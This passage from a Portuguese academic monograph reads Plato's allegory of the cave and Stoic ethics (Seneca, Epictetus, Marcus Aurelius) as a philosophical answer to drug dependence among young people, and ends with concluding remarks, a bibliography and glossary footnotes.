uns aos outros, pois não podem mover a cabeça nem o corpo e sem se ver a si
mesmo porque estão no escuro e imobilizados. Do lado de fora, pessoas passam
conversando e carregando nos ombros figuras ou imagens de homens, mulheres,
animais cujas sombras também são projetadas na parede da caverna, como um
teatro de fantoches. Os prisioneiros julgam que as sombras das coisas e
pessoas, os sons das suas falas e as imagens que transportam nos ombros são as
próprias coisas externas, e que os artefatos projetados são seres vivos que se
movem e falam.

Nesse
ponto, Sócrates diz que os prisioneiros "são semelhantes a nós". E
prossegue. Os prisioneiros se comunicam, dando nome às coisas que julgam ver
(sem vê-las realmente, pois estão na obscuridade) e imaginam que o que escutam,
e que não sabem que são sons vindos de fora, são as vozes das próprias sombras
e não dos homens cujas imagens estão projetadas na parede. Tomam sombras por
realidade. Que ocorreria, entretanto,  a esses homens se pudessem sair da
caverna e ver as coisas como de fato elas  são?

Essa
pergunta é grave. O único mundo real é o da caverna e, portanto, a
obscuridade da qual não podem se ver nem ver os outros não é percebida como tal
e sim experimentada como realidade verdadeira. E a caverna é para todos o mundo
real, pois não sabe que o que vêem na parede do fundo são sombras de um outro
mundo, exterior à caverna. Ora, se para os prisioneiros o mundo real é o da
caverna, como poderiam sair da ilusão se não sabem que vivem nela?

Um dos
prisioneiros, inconformados com a sua condição, fabrica um instrumento e quebra
seus próprios agrilhões. Caminhando em direção à saída da caverna, resolve
escalar o muro. Enche-se de dor por causa dos movimentos que seu corpo realiza
pela primeira vez e pelo ofuscamento de seus olhos sob a ação da luz externa.
Fica dividido entre a incredulidade e o deslumbramento. Incredulidade porque
será obrigado a decidir  onde se encontra a realidade: no que vê agora ou nas
sombras em que sempre viveu. Deslumbrados porque seus olhos não conseguem ver
com nitidez as coisas iluminadas. Seu primeiro impulso é retornar  à caverna
para livrar-se da dor e do espanto. Esse homem necessita aprender a ver e esse
aprendizado é doloroso, fazendo-o desejar a caverna, onde tudo lhe é familiar e
conhecido.

Sentindo-se
sem disposição para regressar à caverna por causa da rudeza do caminho, o
prisioneiro permanece no exterior. Aos poucos, habitua-se à luz e começa a  ver
o mundo.  Encanta-se, tem felicidade de finalmente ver as próprias coisas,
descobrindo que estivera prisioneiro a vida toda e que em sua prisão via apenas
sombras. Doravante, desejará ficar longe da caverna para sempre e lutará com
grande força para jamais regressar a ela. No entanto,  não pode evitar a sorte
dos outros prisioneiros e, por fim, toma a difícil decisão de regressar ao
subterrâneo sombrio para contar aos demais o eu viu e convence-los a se
libertar também.

De volta
à caverna, o prisioneiro fica cego novamente, mas agora por ausência de luz.
Ali dentro, é desajeitado, inábil, não sabe mover-se entre as sombras nem 
falar de modo compreensível para os outros, não sendo acreditado por eles.
Torna-se objeto de zombaria e riso, e correrá o risco de ser  morto pelos que
jamais se disporão a abandonar a caverna.

O jovem
que se droga age como um prisioneiro. Não conhecendo o exterior da caverna,
acredita que o interior representa o mundo real. É aí que ele vive. É aí que
ele toma decisões, embora de modo necessariamente viciado porque dentro da
caverna. Não toma outras atitudes, uma vez que não as conhece. E além de não as
conhecer, acha-as impertinentes e confusas. Como poderia viver dessa forma?

Como
pensar que o prazer obtido com as drogas poderia lhe causar dor? Não conhecendo
a luz, toma esse prazer como aquele capaz de resolver seus problemas, suas
misérias, seus padecimentos. Entretanto, esquece que esse bem também pode lhe
causar um grande mal, já que passageiro. No exato momento em que o efeito da
droga se vai, temos a dor novamente, a ansiedade, a angústia, o vazio.

Sair da
caverna significa compreender que ele se encontra submetido ao devir e que, por
isso, a dor sempre estará presente um instante depois do consumo de drogas.
Sair da caverna significa entender que a felicidade verdadeira não se obtém
com  o uso de drogas e que, dessa forma, ele cada vez mais estará se
interiorizando na caverna. Essa felicidade verdadeira, que tanto é aspirada,
apenas se encontra, como já disse Sêneca, na imposição de limites aos desejos,
sendo expressa pelo fato de nada precisar.

Mas como
sair da caverna. Quanto a isso,  Sócrates propunha um parto das idéias[8],
através do qual se pudesse gradativamente desatar as amarras da caverna e, ao
invés de apenas ver as sombras de seu exterior, que possuíam apenas formas
imprecisas e incertas, contemplar o Ser utilizando-se o sol do conhecimento. Em
outras palavras, através do conhecimento, o toxicômano é capaz de descobrir o
que o perturba e, dessa forma, ele é capaz de optar de maneira esclarecida por
um novo estilo de vida, sem fronteiras, barreiras, preconceitos e meras
opiniões. E, por isso, ele se sente feliz. Por outro lado, toda e qualquer
recomendação que se possa dar ao dependente (?) se torna pelo menos duvidosa;
afinal, como reconhecer algo cuja natureza nunca se conheceu? Desse modo, a
reabilitação ao toxicômano é sempre demorada, estando o  mesmo sujeito a
inúmeras recaídas.

Aquele em
que consentimos em acalmar os desejos e aquele em que impomos aos desejos uma
ordem e uma correção são movidos pela eudaimonía. O homem  que segue
suas inclinações não é mau, mas infeliz. Infeliz porque, morando na caverna
mesmo achando que fora liberto para contemplar a luz, a impressão que ele tem
de acumular momentos de gozo, toda vez que acredita estar enchendo um vazio, é
objetivamente enganadora. O gozador da vida não sabe que não goza. O filósofo
está lá para revelar-lhe que nunca atingirá o estado para o qual tende.

 A
experiência da satisfação escapa-lhe sistematicamente, de acordo com o tipo de
droga e em função do tempo. Para conhecer essa condição de suficiência, não
mais a alegria de um presente pouco durável, mas sim um estado permanente de
felicidade, seria preciso se desviar do fluxo, do escoamento, do fluido em
movimento que despenca para baixo, no continuum do desejo não
satisfeito. E se desviar desse fluxo, sim, é se libertar da caverna, ter uma
vida reta e feliz, porque virtuosa.

Platão
propõe um gênero de vida em que se aceite os limites – assim como Sêneca e os
demais estóicos -, ensinando os homens a estarem sempre satisfeitos com as
coisas presentes e a nada pedir. Esse gênero de vida permite uma saciedade
durável, prolongada, idêntica a si própria. O instante se prolonga, se
prolonga, se solidifica sob a forma de duração contínua. Nada escorre, nada
muda, não se tem necessidade de mais nada. Nessa articulação do desejo e do
tempo há presente porque sempre há o bastante. Há até de sobra. E mais: esse
bastante se prolonga para sempre porque esse presente é capaz de se dilatar,
deixar-se viver sob a forma de serenidade, de repouso. Aquele que saiu da
caverna, o sábio, possui jarras que retém bem o conteúdo, repletos de alimentos
preciosos, e não pensa mais nisso. Fez  seu estoque, para sempre.

O
problema não é que o prazer seja agradável mas muito curto. É, sobretudo, que o
prazer seja inseparável do sofrimento que, acompanhando-o no mesmo sentido,
torna-o inatingível. O resultado da análise platônica conserva uma frase de
aspecto enigmático: o prazer é devir.

"Não
temos ouvido dizer, a respeito do prazer, que ele é apenas devir perpétuo e não
tem nenhuma existência? Àquele que revela que o prazer é um vir-a-ser
constante, mas não tem jamais uma existência, devemos ser reconhecidos, por que
ele deixa cair num ridículo escandaloso os que proclamam que o prazer é um
bem." (PLATÃO em Filebo in Sissa, p 32)

Ao prazer
falta substância, apesar de sua intensidade, justamente porque ele não pode
absolutamente subsistir no tempo, durar um único instante. Dizer que o prazer é
devir significa ainda uma vez exprimir o não-ser do ponto de vista da
temporalidade. Todos os que perdem o seu tempo acreditando desfrutar prazer são
os que tomam seus desejos pelos prazeres reais. O prazer é devir. O prazer é,
portanto, dor.

Logo, o
desejo tem esse poder, o de saciar, de quebrar inquietações de natureza
carencial existente na alma. Mas se o prazer da droga não existe, uma vez que é
um fluxo, que existe afinal? Como destruir as amarras que tanto denigrem a
liberdade e acabar, assim, com todas as inquietações? Sêneca responde a essas
perguntas de forma bastante simples, citando seu exemplo:

"Entretanto,
como todos os sábios, saibas que sigo a natureza: é sábio não se distanciar
dela e obedecer a seu exemplo e lei." (SÊNECA,1991, p. 25)

A
natureza é concebida como um conjunto de leis providenciais que regem o Todo.
Viver em conformidade com a natureza significa respeitar o tempo, o espaço, a
morte. Meditar sobre a natureza significa meditar sobre nós mesmos e nossa
relação com o mundo que nos cerca. O pensamento sobre a natureza é capaz de
gerar resignação e controle sobre si mesmo. Autarkéia: aqui se encontra
o melhor e mais apetitoso dos alimentos; caso contrário,

"Se
o prazer o domina, como resistirá ao cansaço e ao perigo, à pobreza  e às
ameaças que pairam sobre a vida? Como suportará a visão da morte, as dores, a
fúria dos elementos, e tantos inimigos obstinados, ele que se deixa vencer por
tão débil adversário?" (SÊNECA, 1991, p. 25) 

O
prazer em si não é o mal. O homem e mesmo os animais tendem a repulsar a dor e
procurar o prazer. O problema reside na obtenção  de prazer sem limites, sem
fronteiras, que tem como objeto motivador algo que os sentidos podem captar.
Marco Aurélio admoesta o homem, incentivando-o a todo instante  a uma
introspeção, conforme a seguinte referência:

"Olhe
para o teu interior. Aí reside a fonte do bem inesgotável." (MARCO
AURÉLIO, p. 15)

          

Os
desejos provocam maior ou menor grau de servidão, e é este o núcleo que os
estóicos querem tocar, pois um homem submetido a escravidão de uma paixão não
pode escolher. O homem apaixonado é sempre parcial, estando afastado da escolha
de uma ação moral por um subjugo. Ou, dizendo melhor, "escolhe de modo necessariamente
viciado". 

Consta
que Zenão de Cício tinha uma grande paixão por Cremônides e, em certa ocasião,
estando sentado com Cleanto, seu discípulo e futuro mestre da Stoa, à
aproximação do amado, tão logo pôde vê-lo, esquivou-se, o que espantou Cleanto.
E Zenão teria dito sobre o fato:

"…Ouço
dizer, pelos bons médicos, que o melhor dos remédios contra as inflamações é a
calma…" (DIÓGENES LAÉRCIO, VII, p. 13)

O homem
escravo das inflamações da alma deve procurar curar-se ou, profilaticamente,
esquivar-se da doença. Isto se efetiva tendo como pano de fundo a figura do
outro, quer seja homem, coisa ou situação.  Aquele que se escraviza acha-se
impedido, nesse estado, de seguir a ordem do Todo. O Pórtico
"deseja", talvez "apaixonadamente", a ausência das grandes
perturbações da alma mediante o esvaziamento do outro como lugar de diferença.
Isso nada mais é que aphatia[9].

Então,
como médicos da alma, previnem, nos limites possíveis, tais inflamações pela ataraxía.
Obter a ausência das inflamações, como disse Zenão, é também conseguir a autarckéia,
ter o poder de si mesmo, estado que no sábio é possível sempre. A ataraxia é,
portanto, o apaziguamento das agitações e inquietações. Quanto a autarquia, um
bom exemplo de homem autárquico, no sentido estóico, foi Epicteto. Como se
sabe, foi escravo e ganhou a liberdade por sua responsabilidade e inteligência.
Estando no domínio efetivo do outro – de seu dono -, era reto e pregava apesar
de sua situação de vida, o domínio de si. Não se considerava escravo do outro
nem de si mesmo, dentro dos princípios da Stoa. Contam os historiadores que,
enquanto escravo de Epafrodite, Epicteto foi submetido à tortura – torceram-lhe
a perna – para reconhecer que era escravo e tinha um dono. Durante a tortura,
advertindo ao seu senhor que a perna se quebraria, o que de fato aconteceu,
continuava a dizer que era senhor de si mesmo.

Aqui
chegamos a um ponto ímpar: a importância e o predomínio que o "eu"
deve ter em relação ao "outro". Quanto a isso, muito sabiamente,
Epicteto nos ensina que:

"…
qualquer que seja a coisa exterior, estimá-la é sujeitar-se ao outro… Agir
com reserva, com segurança, evitar todo desejo e toda aversão a respeito das
coisas exteriores são os limites que é preciso respeitar…" (EPICTETO,
1948, p. 24 )

Com isso,
Epicteto indica o quão escravo o homem é capaz de se tornar do meio. Não que o
homem seja invariavelmente uma vítima do meio. Ao contrário, ele possui os
elementos certos para ter uma vida mais virtuosa e feliz. Somos educados desde
criança a querer algo. E mais, a brigar por esse algo como se ele fosse
indispensável.  Não há nada de mau nisso, desde que o "outro" não
subjugue o "eu", retirando sua capacidade de escolha e o seu maior
bem.

O prazer
é tomado como o fruto do meio, do outro. Com isso, ignoramos as verdadeiras
potencialidades do ser humano. Assim, o homem é rebaixado à condição das feras,
sempre guiadas pela satisfação, onde o "eu" é praticamente
inexistente. Mas como desfrutar de uma vida virtuosa se o "eu" não é?
Como poderia o "eu" não-ser? Como poderiam as paixões ser, se
elas nos conduzem ao não-ser, ao á-logos?

Por mais
que algumas drogas possam determinar momentos – mesmo transitórios – de
serenidade, definitivamente não representam o melhor méthodos[10].
Sua transitoriedade denuncia isso. As drogas com poder euforizantes denunciam
mais ainda. Não há caminho melhor que o da natureza. Com a natureza, o homem
alcança o que era inalcançável com as drogas, o verdadeiro Bem, a fonte
inesgotável de bem-aventurança.

Se as
circunstâncias nos perturbam – como nossa situação financeira, como o desejo
por um objeto inalcançável, como a doença de um ente querido, como a morte de
um filho que consumia drogas -, como poderemos compartilhar de algo maior,
sublime, puro? Se a particularidade nos afeta, como poderemos compreender a ousía[11]
do Todo, da natureza, do sublime? Submeter-se ao inevitável é á-logos[12].
Perturbar-se ao inevitável é a maior de todas as tolices.  Quanto a isso, a
aphatia  se faz presente sempre. A indiferença é o único phármakon[13]
 para os males da vida, que tanto nos faz revoltar contra nosso próprio
destino.

Marco
Aurélio nos coloca uma questão fundamental quanto ao nosso por vir:

"Não
desdenhes da morte, acolha-a, todavia, como uma das coisas que a natureza
deseja. Igualmente a mocidade, a velhice, o crescimento, a maturidade, o nascer
dos dentes e da barba, os cabelos brancos, a procriação, a gestação, o parto e
as demais funções físicas trazidas pelas estações da vida. Assim também a
dissolução. Cabe pois ao homem sensato não se mostrar, diante da morte, nem
temeroso, nem impaciente, nem desdenhoso, mas aguardá-la como um fato natural.
Da mesma forma como esperas que teu filho saia do útero da mãe, espera a hora
em que tua alma deixará seu invólucro." (MARCO AURÉLIO, p. 37)   

Se o
inevitável se faz presente, nada se pode fazer senão contorná-lo e continuar
vivendo como se ele não tivesse muita importância. Ser apático significa tomar
o ser pelo não-ser.

Viver bem
significa viver em conformidade com a ordem natural das coisas. Cabe ao sábio
não se utilizar de artifícios, como o ato de drogar-se, com o intuito de fugir
de algo contra o qual ele nada pode fazer. Isso seria tolice. O phármakon
reside na apatia, na resignação que anda em conformidade com a natureza. Negar
o natural é á-logos. Perde-se dessa forma muitas oportunidades de
desfrutar de eudaimonía.

Para os
estóicos não há nada pior que negar o tempo. Assim como a natureza, o tempo nos
oferece bons mecanismos que nos norteiam para a virtude e para o bem. Por
isso, mais uma vez o Imperador Marco Aurélio nos admoesta:

"Não
te conduzas como se fosseis durar milhares de anos. Enquanto vives e podes,
esforça-te para tornar-te homem de bem." (MARCO AURÉLIO, p. 36)

Tudo
passa, tudo muda, nada permanece idêntico a si mesmo, nem mesmo o homem.
Apoiar-se em algo submetido ao devir implica necessariamente ao sofrimento, à
medida que o objeto tão querido pode não se fazer presente no dia de amanhã. A
única coisa que realmente pertence ao homem é o próprio homem, haja vista que
até o seu corpo é capaz de perecer.

O tempo
tem esse poder. O de transformar tudo. O de fazer com que o homem se torne cada
vez melhor em relação ao dia anterior. O tempo nos faz entender o quão completo
é o homem e o quão feliz ele pode ser. Por mais estranho que possa parecer em
nossa sociedade, que a todo momento insiste em afirmar a supremacia do homem em
relação ao tempo – através de academias de ginástica, de salões de estética, da
inquietação que pode nos induzir a usar drogar – o tempo é superior ao homem. A
mitologia nos mostra o Titã Chónos[14]
devorando seus filhos. A única coisa que fica é a lembrança dos que se foram e
o bem que se pôde fazer. Nada sobrevive, nada fica. "Mas se a vida não tem
sentido, se tudo têm um termo, então por que não enamorar minha única amiga
fiel, a droga?", podem pensar alguns. Por que o homem deve agir com ética
– não a ética humana -, mas a ética da natureza, cabendo a ele suportar tudo
aquilo que vier. E mais, essa ética não conhece fronteiras, limites, nem muralhas.
O sábio é chamado a administrar o pharmakón nos enfermos, fazendo-os
compreender o quão fútil e desprezível é a condição humana. É chamado a
constituir um reino, onde cada cidadão é um sábio. E esse reino, é o mundo. Por
isso, Zenão de Cício se insurge contra uma organização do mundo dividida em
cidades e povos, possuindo cada um leis particulares e vendo nos outros
estrangeiros e inimigos. Todos os homens são iguais, pois que todos são
cidadãos da República de Zeus, devendo viver unidos sob uma lei comum, como um
rebanho guiado por um pastor. Não há divergências; não há guerras; não há
dificuldades políticas; não há clínicas para drogados pelo simples fato de não
existir motivos para o consumo de drogas. Para esse reino, o único limite é o
espaço. O único conselheiro, o tempo. O único objetivo, o Bem.

CAPÍTULO 5

CONSIDERAÇÕES
FINAIS

Os
jovens, principalmente em função de características que lhe são próprias, estão
altamente propícios às influências inerentes ao meio. Seu motor é a práxis
(ação, ato), preocupando-se muito mais com o gozo imediato do aqui e agora que
especulações sobre o que o leva a pensar e agir de tal modo. E o que é pior,
sofrem as conseqüências disso.

A
filosofia, entretanto, vem mostrando algo novo para eles, algo com o qual nunca
tinham se deparado. Novas perspectivas  se abrem . Platão e a filosofia do
Pórtico a todos o momento tentam lhe mostrar que o único meio de alcançar
aquilo que, de fato, todos buscam – a felicidade -, é desprezando velhos
hábitos, condicionamentos e preconceitos.

A fórmula
é simples: bastar-se a si mesmo, vivendo em conformidade com a natureza, amando
o tempo e sendo indiferente frente ao inevitável. Todo tipo de vivência, por
mais conveniente e confortável que seja, deve ser desprezado, já que
transitório.

Esse phármakon
prescrito é o único capaz de curar uma alma acostumada a um gênero de vida
afeita aos prazeres. Mas, a pretexto disso, esse phármakon  nos mostra
qual o único prazer e, por isso, o único Bem: aquele que não conhece a dor.

A virtude
é o caminho. E cabe ao homem virtuoso não se refugiar nas drogas frente as
intempéries do dia-a-dia, mas aceitar incondicionalmente tudo aquilo que o Todo
coloca à nossa frente. E o que é melhor, retirar desses fatos inevitáveis algo
que seja capaz de cooperar de modo significativo com a nossa própria vida.  

BIBLIOGRAFIA

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Paris.

MAAKAROUN, Marília. Tratado de Adolescência: um Estudo
Multidisciplinar
. Rio de Janeiro: Cultura Médica, 1991.

SENECA. A Vida Feliz. Tradução André Bartholomeu.
Revisão técnica Aercio Flávio Consolin – Campinas , SP: Pontes, 1991.

SISSA, Giulia. O Prazer e o Mal: Filosofia da Droga.
Tradução de Marcos de Castro – Rio de Janeiro – Civilização Brasileira, 1999.

                    

 

 

          


[1]
.  Zenão de Cício foi o fundador dessa escola. Por isso,  no início, seus
discípulos eram chamados de zenonianos. Entretanto, como era de costume da
época assumir o nome do local onde era fundada (como a Academia de Platão), a
escola passou a ser chamada de Estoicismo. Zenão a fundou nas redondezas de um
pórtico de Atenas. Como em grego pórtico se escreve Stoa, muitas vezes o
Estoicismo é chamada de Stoa ou Filosofia do Pórtico.

[2]
. Um espírito, um gênio ligado a uma cidade com o seu protetor, ou a uma
pessoa, determinando seu caráter a ser destinado. (in Chauí)

[3]
HERÁCLITO DE ÉFESO : pré-socrático considerado por muitos o mais importante
filósofo até Sócrates. Seu pensamento baseia-se na idéia de que o mundo é
formado pelo devir, isto é,  pela transformação do contrário no seu oposto.

[4]
. Segundo o discurso de Aristófanes, em O BANQUETE.

[5]
. Felicidade com perfeição ética, como resultado da vida virtuosa (in Chauí)

[6]
. Autárkeia em grego, a autarquia é o ideal mais alto da ética e da política
porque significa liberdade. É livre quem encontra em si mesmo o princípio de
uma existência e da sua ação e possui por si mesmo o poder para agir e para
julgar. (in Chauí)

[7]
. Imperturbabilidade da alma.

[8]
. A palavra maieuía significa parto.  Dessa forma, Platão criou maieutiké
– parto das idéias -, querendo indicar o processo pelo qual Sócrates alcançava
o conhecimento verdadeiro. A mãe de Sócrates era parteira.

[9]
. Indiferença quanto ao inevitável.               

[10]
. Investigação que segue um modo ou maneira planejada e determinada para
conhecer alguma coisa (in Chauí)

[11]
. Essência, ser, realidade. Em latim o verbo esse (ser) corresponde ao
grego einai (infinito de eimi,  eu sou); também em latim, essentia
corresponde ao grego ousía.

[12]
. A palavra logos sintetiza vários significados que, em português, estão
separados, mas unidos no grego. O logos dá a razão, o sentido, o valor,
a causa, o ser da coisa. Ao adicionarmos o prefixo de negação, temos à-logos
que é o que não tem sentido, o não-ser.  

[13]
. Fármaco, toda substância capaz de produzir uma alteração benéfica ou maléfica
na natureza de um homem.

[14]
. O tempo na mitologia grega, Chónos  era o deus supremo do Olimpo,
sendo destronado por Zeus                                                                                                                                  

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